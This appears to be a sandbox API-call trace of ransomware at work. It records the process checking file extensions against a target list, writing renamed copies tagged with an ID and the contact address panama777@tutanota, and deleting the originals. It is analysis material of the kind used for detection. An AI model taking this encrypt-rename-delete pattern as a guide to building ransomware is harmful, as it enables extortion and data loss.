	[0276.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63
	[0276.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63
	[0276.845] lstrlenW (lpString=".doc") returned 4
	[0276.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0276.845] lstrlenW (lpString=".docx") returned 5
	[0276.845] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0276.845] lstrlenW (lpString=".pdf") returned 4
	[0276.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0276.845] lstrlenW (lpString=".xls") returned 4
	[0276.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0276.845] lstrlenW (lpString=".xlsx") returned 5
	[0276.845] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0276.846] lstrlenW (lpString=".ppt") returned 4
	[0276.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0276.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63
	[0276.846] lstrlenW (lpString=".zip") returned 4
	[0276.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0276.846] lstrlenW (lpString=".rar") returned 4
	[0276.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0276.846] lstrlenW (lpString=".bz2") returned 4
	[0276.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0276.846] lstrlenW (lpString=".7z") returned 3
	[0276.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0276.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63
	[0276.846] lstrlenW (lpString=".dbf") returned 4
	[0276.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0276.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63
	[0276.846] lstrlenW (lpString=".1cd") returned 4
	[0276.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0276.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63
	[0276.846] lstrlenW (lpString=".jpg") returned 4
	[0276.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0276.847] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.847] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0276.847] GetLastError () returned 0x0
	[0276.847] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x126c, lpOverlapped=0x0) returned 1
	[0276.848] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1270, lpOverlapped=0x0) returned 1
	[0276.851] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0276.851] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0276.851] SetEndOfFile (hFile=0x274) returned 1
	[0276.851] CloseHandle (hObject=0x274) returned 1
	[0276.851] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0276.851] SetEndOfFile (hFile=0x35c) returned 1
	[0277.998] CloseHandle (hObject=0x35c) returned 1
	[0277.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0278.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 1
	[0278.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63
	[0278.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63
	[0278.007] lstrlenW (lpString=".doc") returned 4
	[0278.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0278.007] lstrlenW (lpString=".docx") returned 5
	[0278.007] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0278.007] lstrlenW (lpString=".pdf") returned 4
	[0278.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0278.008] lstrlenW (lpString=".xls") returned 4
	[0278.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0278.008] lstrlenW (lpString=".xlsx") returned 5
	[0278.008] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0278.008] lstrlenW (lpString=".ppt") returned 4
	[0278.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0278.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63
	[0278.008] lstrlenW (lpString=".zip") returned 4
	[0278.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0278.008] lstrlenW (lpString=".rar") returned 4
	[0278.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0278.008] lstrlenW (lpString=".bz2") returned 4
	[0278.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0278.008] lstrlenW (lpString=".7z") returned 3
	[0278.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0278.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63
	[0278.008] lstrlenW (lpString=".dbf") returned 4
	[0278.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0278.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63
	[0278.008] lstrlenW (lpString=".1cd") returned 4
	[0278.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0278.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63
	[0278.008] lstrlenW (lpString=".jpg") returned 4
	[0278.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1

Thread:
	id = 97
	os_tid = 0x678

	[0248.695] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x582fd0
	[0248.695] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3a10048
	[0248.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d58
	[0248.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x521880
	[0248.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d70
	[0248.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3b10020
	[0248.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d88
	[0248.696] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4d88, Size=0x20) returned 0x51b090
	[0248.696] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d88
	[0248.696] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4d88, Size=0x20) returned 0x51b0b8
	[0248.696] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0248.696] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0248.696] Wow64DisableWow64FsRedirection (in: OldValue=0x2e8ff58 | out: OldValue=0x2e8ff58*=0x0) returned 1
	[0248.696] lstrlenW (lpString="kernel32.dll") returned 12
	[0248.696] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b090 | out: hHeap=0x4a0000) returned 1
	[0248.696] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0248.696] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b0b8 | out: hHeap=0x4a0000) returned 1
	[0248.697] Sleep (dwMilliseconds=0x64) 
	[0249.071] Sleep (dwMilliseconds=0x64) 
	[0249.267] Sleep (dwMilliseconds=0x64) 
	[0249.515] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0249.515] lstrlenW (lpString="Alphabet.xml") returned 12
	[0249.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.591] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=791686) returned 1
	[0249.591] CloseHandle (hObject=0x2a0) returned 1
	[0249.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0249.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.592] lstrlenW (lpString=".doc") returned 4
	[0249.592] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0249.592] lstrlenW (lpString=".docx") returned 5
	[0249.592] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0249.592] lstrlenW (lpString=".pdf") returned 4
	[0249.592] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0249.592] lstrlenW (lpString=".xls") returned 4
	[0249.592] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0249.592] lstrlenW (lpString=".xlsx") returned 5
	[0249.592] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0249.592] lstrlenW (lpString=".ppt") returned 4
	[0249.592] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0249.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.592] lstrlenW (lpString=".zip") returned 4
	[0249.592] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0249.592] lstrlenW (lpString=".rar") returned 4
	[0249.592] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0249.592] lstrlenW (lpString=".bz2") returned 4
	[0249.592] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0249.592] lstrlenW (lpString=".7z") returned 3
	[0249.592] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0249.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.592] lstrlenW (lpString=".dbf") returned 4
	[0249.592] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0249.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.593] lstrlenW (lpString=".1cd") returned 4
	[0249.593] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0249.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.593] lstrlenW (lpString=".jpg") returned 4
	[0249.593] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0249.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.593] lstrlenW (lpString=".doc") returned 4
	[0249.593] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0249.593] lstrlenW (lpString=".docx") returned 5
	[0249.593] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0249.593] lstrlenW (lpString=".pdf") returned 4
	[0249.593] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0249.593] lstrlenW (lpString=".xls") returned 4
	[0249.593] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0249.593] lstrlenW (lpString=".xlsx") returned 5
	[0249.593] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0249.593] lstrlenW (lpString=".ppt") returned 4
	[0249.593] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0249.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.593] lstrlenW (lpString=".zip") returned 4
	[0249.593] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0249.593] lstrlenW (lpString=".rar") returned 4
	[0249.593] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0249.593] lstrlenW (lpString=".bz2") returned 4
	[0249.593] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0249.593] lstrlenW (lpString=".7z") returned 3
	[0249.593] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0249.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.593] lstrlenW (lpString=".dbf") returned 4
	[0249.593] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0249.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.594] lstrlenW (lpString=".1cd") returned 4
	[0249.594] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0249.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0249.594] lstrlenW (lpString=".jpg") returned 4
	[0249.594] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0249.594] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0249.594] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0249.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.595] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=89600) returned 1
	[0249.595] CloseHandle (hObject=0x2a0) returned 1
	[0249.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0249.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.596] lstrlenW (lpString=".doc") returned 4
	[0249.596] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.596] lstrlenW (lpString=".docx") returned 5
	[0249.596] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0249.596] lstrlenW (lpString=".pdf") returned 4
	[0249.596] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.596] lstrlenW (lpString=".xls") returned 4
	[0249.596] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.596] lstrlenW (lpString=".xlsx") returned 5
	[0249.596] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0249.596] lstrlenW (lpString=".ppt") returned 4
	[0249.596] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.596] lstrlenW (lpString=".zip") returned 4
	[0249.596] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.596] lstrlenW (lpString=".rar") returned 4
	[0249.596] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.596] lstrlenW (lpString=".bz2") returned 4
	[0249.596] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.596] lstrlenW (lpString=".7z") returned 3
	[0249.596] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.596] lstrlenW (lpString=".dbf") returned 4
	[0249.596] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.596] lstrlenW (lpString=".1cd") returned 4
	[0249.596] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.597] lstrlenW (lpString=".jpg") returned 4
	[0249.597] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.597] lstrlenW (lpString=".doc") returned 4
	[0249.597] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString=".docx") returned 5
	[0249.597] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0249.597] lstrlenW (lpString=".pdf") returned 4
	[0249.597] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString=".xls") returned 4
	[0249.597] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString=".xlsx") returned 5
	[0249.597] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0249.597] lstrlenW (lpString=".ppt") returned 4
	[0249.597] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.597] lstrlenW (lpString=".zip") returned 4
	[0249.597] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString=".rar") returned 4
	[0249.597] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString=".bz2") returned 4
	[0249.597] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString=".7z") returned 3
	[0249.597] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.597] lstrlenW (lpString=".dbf") returned 4
	[0249.597] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.597] lstrlenW (lpString=".1cd") returned 4
	[0249.597] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0249.598] lstrlenW (lpString=".jpg") returned 4
	[0249.598] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.598] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0249.598] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0249.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.599] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=31744) returned 1
	[0249.599] CloseHandle (hObject=0x2a0) returned 1
	[0249.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0249.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.599] lstrlenW (lpString=".doc") returned 4
	[0249.599] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.599] lstrlenW (lpString=".docx") returned 5
	[0249.599] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0249.599] lstrlenW (lpString=".pdf") returned 4
	[0249.599] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.599] lstrlenW (lpString=".xls") returned 4
	[0249.599] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.599] lstrlenW (lpString=".xlsx") returned 5
	[0249.599] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0249.599] lstrlenW (lpString=".ppt") returned 4
	[0249.599] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.600] lstrlenW (lpString=".zip") returned 4
	[0249.600] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.600] lstrlenW (lpString=".rar") returned 4
	[0249.600] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.600] lstrlenW (lpString=".bz2") returned 4
	[0249.600] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.600] lstrlenW (lpString=".7z") returned 3
	[0249.600] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0249.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.600] lstrlenW (lpString=".dbf") returned 4
	[0249.600] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0249.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.600] lstrlenW (lpString=".1cd") returned 4
	[0249.600] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0249.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.600] lstrlenW (lpString=".jpg") returned 4
	[0249.600] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0249.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.600] lstrlenW (lpString=".doc") returned 4
	[0249.600] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0249.600] lstrlenW (lpString=".docx") returned 5
	[0249.600] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0249.600] lstrlenW (lpString=".pdf") returned 4
	[0249.600] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0249.600] lstrlenW (lpString=".xls") returned 4
	[0249.600] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0249.600] lstrlenW (lpString=".xlsx") returned 5
	[0249.600] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0249.600] lstrlenW (lpString=".ppt") returned 4
	[0249.601] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0249.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0249.601] lstrlenW (lpString=".zip") returned 4
	[0249.601] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0249.601] lstrlenW (lpString=".rar") returned 4
	[0249.601] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0249.601] lstrlenW (lpString=".bz2") returned 4
	[0249.601] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0249.601] lstrlenW (lpString=".7z") returned 3
	[0249.601] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
